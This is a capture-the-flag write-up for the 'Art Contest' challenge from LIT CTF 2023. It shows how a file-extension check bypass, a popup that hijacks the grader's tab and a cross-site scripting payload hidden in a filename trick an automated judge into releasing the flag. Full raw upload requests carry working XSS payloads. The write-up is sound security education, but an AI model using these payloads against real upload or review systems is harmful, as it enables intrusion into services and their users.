Skip to content

Art Contest

In Lexington Informatics Tournament CTF 2023, 388 points

Visit this website and submit your best ASCII art for a chance to become the 2023 ASCII Art Contest Winner. This year, everything will be graded by our automated grader. Winner gets a flag!

Challenge files: art-contest.zip

Overview

In this challenge, users can upload text files containing ASCII art to be graded. The bot visits these uploaded files and "judges" them by opening them in a browser. We will manipulate the grading process via a weird form of cross site scripting and thus obtain the flag.

File upload

Users can upload ASCII art via the /upload endpoint:

python
@app.route("/upload", methods=["POST"])
def upload():
    f = request.files["file"]
    token = secrets.token_hex(32)
    base_dir = os.path.abspath("uploads/" + token)
    abs_path = os.path.abspath(base_dir + "/" + f.filename)
    if base_dir == os.path.commonpath((base_dir, abs_path)): # [path traversal check]
        ext = os.path.splitext(abs_path)[1]
        if ext == "" or ext == ".txt": # [file extension check]
            os.makedirs(os.path.dirname(abs_path))
            f.save(abs_path)

There are several checks going on here, so let's break it down individually.

python
base_dir = os.path.abspath("uploads/" + token)
abs_path = os.path.abspath(base_dir + "/" + f.filename)
if base_dir == os.path.commonpath((base_dir, abs_path)):
    ...

This prevents path traversal vulnerabilities by ensuring that the uploaded file's path stays within its sandbox directory (/uploads/<token>/).

python
ext = os.path.splitext(abs_path)[1]
if ext == "" or ext == ".txt":
    ...

This uses Python's os.path.splitext to determine the file extension for the uploaded file. Files that have an extension that is not .txt are rejected.

There's an interesting edge case presented in the final example of os.path.splitext's documentation:

Leading periods of the last component of the path are considered to be part of the root:

python
>>> splitext('.cshrc')
('.cshrc', '')
>>> splitext('/foo/....jpg')
('/foo/....jpg', '')

This is particularly interesting for us, as the file extension could be used to determine how the browser processes the file.

For example, the file html is treated as plain text, while the file .html is rendered as HTML by Chrome:

image-20230807222823062.png

However, according to Python's os.path.splitext, both files have file extension '', which would pass the checks. Thus, we are able to smuggle a HTML file past the file extension checks.

Cross site scripting

Now that we've sorted out the upload process, let's check out the actual grading procedure:

py
browser = p.chromium.launch()
context = browser.new_context()
fname = None
with open("uploads/" + id + "/grader.filename") as f:
    fname = f.read()
    
# Stage 1: Load "ASCII art"
context.new_page().goto("file://" + os.getcwd() + "/uploads/" + id + "/" + fname)


os.makedirs("status", exist_ok=True)
with open("status/" + id, "w") as f:
    f.write("not winner\n")
time.sleep(0.5)

# Stage 2: Load status page

context.new_page().goto("http://localhost:5000/status/" + id)

# Stage 3: Process results

status_page = context.pages[1]
if status_page.url == "http://localhost:5000/status/" + id and "winner!!" in status_page.content():
    with open("status/" + id, "w") as f:
        f.write("Congrats! Your submission, " + fname + ", won! Here's the flag: " + FLAG + "\n")
else:
    with open("status/" + id, "w") as f:
        f.write("Your submission, " + fname + ", did not win. Thank you for taking your time to enter this contest.\n")  
context.close()
browser.close()

I've split the grading procedure into three stages:

  1. The bot loads our "ASCII art" in Chromium, using the Playwright framework. As discussed in the previous section, we can trick the browser into parsing our "ASCII art" as HTML by using .html as the file name. This allows us to execute arbitrary JavaScript.
  2. The bot fetches the grading status. The bot opens a new page that loads the /status/<id> endpoint. This is a very simple endpoint that returns the contents of the file status/<id>. We will discuss this further later.
  3. The bot checks if the string "winner!!" is present in the status page's content. If it is, the flag is returned.

Although we are able to execute JavaScript in stage 1, the browser sandbox prevents us from modifying files on disk, or the contents of the status page in stage 2. We will need to manipulate the grading process in another way.

Notice that in stage 3, the status page is retrieved via

python
status_page = context.pages[1]

This means that the status page is the second page opened, which makes sense because our ASCII art is loaded as the first page.

According to the Playwright documentation:

A Page refers to a single tab or a popup window within a browser context.

This means that if our ASCII art can create a new tab, it can take the place of the second page, instead of the opened status page, which would now be the third page.

We can use the window.open function to open a new tab. Typically, this would be blocked by the browser's popup blocker, but they are allowed in automated environments, such as Playwright.

image-20230811095451849.png

In this example, our "ASCII art" contained in .html is:

html
<script>
window.open("http://example.com")
</script>

which will open http://example.com in a new tab (1). If we instead opened a site we control, we can manipulate the "status page" contents to include "winner!!" which should give us the flag.

python
if status_page.url == "http://localhost:5000/status/" + id and "winner!!" in status_page.content():
    with open("status/" + id, "w") as f:
        f.write("Congrats! Your submission, " + fname + ", won! Here's the flag: " + FLAG + "\n")

However, we have one final check remaining:

python
if status_page.url == "http://localhost:5000/status/" + id

If we opened a new page to replace the real status page, its URL would be different from what was expected, causing the check to fail.

Faking URLs

After a bit of research, I discovered the history.replaceState function, which is used to manipulate the URL shown in the browser. This doesn't actually change the location the page is loaded on, but it does change the page.url in Playwright.

For example, I've used the history.replaceState function to change the URL on example.com to http://example.com/this page does not even exist, which does not exist, but the original webpage contents remain.

image-20230811105757033.png

Unfortunately, this only works if the target URL and the page executing the history.replaceState function are on the same origin. This exists so you can't change the URL of attacker.com to bank.com.

XSS (part 2)

Previously, we briefly discussed the status route, but did not go into the details:

python
@app.route("/status/<unsanitized_id>")
def status(unsanitized_id):
    sanitized_id = ""
    for ch in unsanitized_id:
        if ch in "0123456789abcdef":
            sanitized_id += ch 
    r = None
    with open("status/" + sanitized_id) as f:
        r = f.read()
    return r

It's a very simple route that reads the file in the status directory based on the ID specified. One thing to note is that if a string is returned by a flask route, the string is rendered as HTML by the browser. This means that if we control the contents of a file in the status directory, we can perform XSS again, this time on the same domain as the actual status page. This will allow us to use the history.replaceState trick discussed above.

Looking through the judging code again, we notice that the name of our ASCII art file is inserted into the status file, even if we didn't win:

python
with open("status/" + id, "w") as f:
    f.write("Your submission, " + fname + ", did not win. Thank you for taking your time to enter this contest.\n")

The attack

First, we will create the submission that contains our secondary XSS payload:

http
POST /upload HTTP/1.1
Host: litctf.org:31780
Content-Length: 396
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://litctf.org:31780
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1QImi8MOLTNUB4eE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://litctf.org:31780/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundary1QImi8MOLTNUB4eE
Content-Disposition: form-data; name="file"; filename="winner!!<img src=x onerror='history.replaceState(null,null,location.search.substring(1))'>/a"
Content-Type: text/html

Stuff here doesn't matter

------WebKitFormBoundary1QImi8MOLTNUB4eE--

Our XSS payload, contained within the file name is:

html
winner!!<img src=x onerror='history.replaceState(null,null,location.search.substring(1))'>/a

It contains the string winner!! to pass the winner check, then replaces the page's URL with the one specified in the query string. This is so that we can trick the judge into thinking that the actual status page has been loaded. The /a at the end is to bypass the file extension check.

We upload this file and judge it to create the malicious status page.

Note the status page's ID as we will use it in the primary XSS payload

http
POST /upload HTTP/1.1
Host: litctf.org:31780
Content-Length: 350
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://litctf.org:31780
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1QImi8MOLTNUB4eE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://litctf.org:31780
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundary1QImi8MOLTNUB4eE
Content-Disposition: form-data; name="file"; filename=".html"
Content-Type: text/html

<script>
window.open("http://localhost:5000/status/0e2d5289d5ad42772d210b4a457b3a58a95918d7dadcd75e0b90cc6c8c5af304?"+location.href.match("[a-f0-9]{64}")[0])
</script>


------WebKitFormBoundary1QImi8MOLTNUB4eE--

In the primary payload, we extract the current submission ID via the current page's URL, then open a new tab that loads our malicious status page. By passing the submission ID to the malicious status page, we can tell it which submission it should pretend to be.

After submitting this and judging it, we obtain the flag:

Congrats! Your submission, .html, won! Here's the flag: LITCTF{i_gu3ss_ur_art_w4s_ju5t_b3tter_0r_smth}